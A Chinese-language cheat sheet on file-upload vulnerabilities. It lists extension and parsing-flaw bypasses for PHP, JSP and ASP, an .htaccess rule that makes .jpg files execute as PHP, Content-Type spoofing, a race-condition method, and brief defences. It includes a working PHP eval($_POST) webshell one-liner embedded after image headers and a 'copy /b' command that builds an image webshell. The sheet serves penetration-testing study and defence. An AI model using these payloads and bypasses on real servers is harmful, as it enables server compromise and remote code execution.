文件上传总结
说明
服务器对用户上传的文件没进行严格校验导致被上传恶意的文件达到服务器控制权限丢失的结果。
绕过
前端校验
这个直接抓包改后缀即可
后端校验(黑名单)
- PHP
- 大小写双写:shell.PHp,shell.pphphp
- 特殊扩展名:
shell.php5
,shell.phtml
,shell.phps
,shell.phar
,shell.pht
,shell.inc(配置错误时可能存在)
-
Windows下:
后缀后加点或者点空格或者
shell.php::$DATA
-
.htaccess
操作:
**文件1:** .htaccess **内容:** AddType application/x-httpd-php .jpg **文件2** shell.jpg
上传一个自定义的
.htaccess
文件,重写Apache解析规则,强制将.jpg
文件当作 PHP 解析。
- JSP
- 大小写双写
- 特殊扩展:
shell.jspx
,shell.jsw
,shell.jsv
,shell.jspf
- Windows:
shell.jsp.
,shell.jsp
,shell.jsp::$DATA
- 目录遍历:../shell.jsp
web.xml
攻击:类似于.htaccess
,但 Java EE 中web.xml
通常不允许用户上传覆盖。极少数配置错误情况下可能。
- ASP(X)
- ASP经典:
shell.asa
,shell.cer
,shell.cdx
- ASP.NET:
shell.aspx
,shell.ashx
,shell.asmx
,shell.ascx
- Windows:
shell.asp.
,shell.asp
,shell.asp::$DATA
- IIS解析漏洞:
shell.asp;.jpg
,/xx.asp/xx.jpg
,shell.jpg/xxx.php
- ASP经典:
后端校验(白名单)
配合各种中间件的解析漏洞
文件头校验
- Content-Type 校验绕过:抓包将
Content-Type: application/php
改为合法的图像类型,如image/jpeg
,image/png
。 -
文件内容/文件头校验绕过
制作图片马(有时检验包体长度,建议一般使用正常的小图片去做而不是直接编辑webshell)
例如:
GIF89a; <?php @eval($_POST['a']);?>
‰PNG... <?php @eval($_POST['a']);?>
如果存在解析漏洞的话可以使用以下命令制作图片文件后缀的webshell
copy 1.jpg/b+2.php 3.jpg
条件竞争
- 场景:服务器先保存文件,再进行安全扫描(AV)或内容检查,不通过再删除。
- 方法:利用这个时间差,疯狂并发访问上传的文件,从而在它被删除前执行。
防御
- 严格的白名单后缀和MIME 类型
- 文件重命名
- 上传文件设置不可执行
- 内容检测
- 使用隔离存储
- 及时更新系统版本
- 使用WAF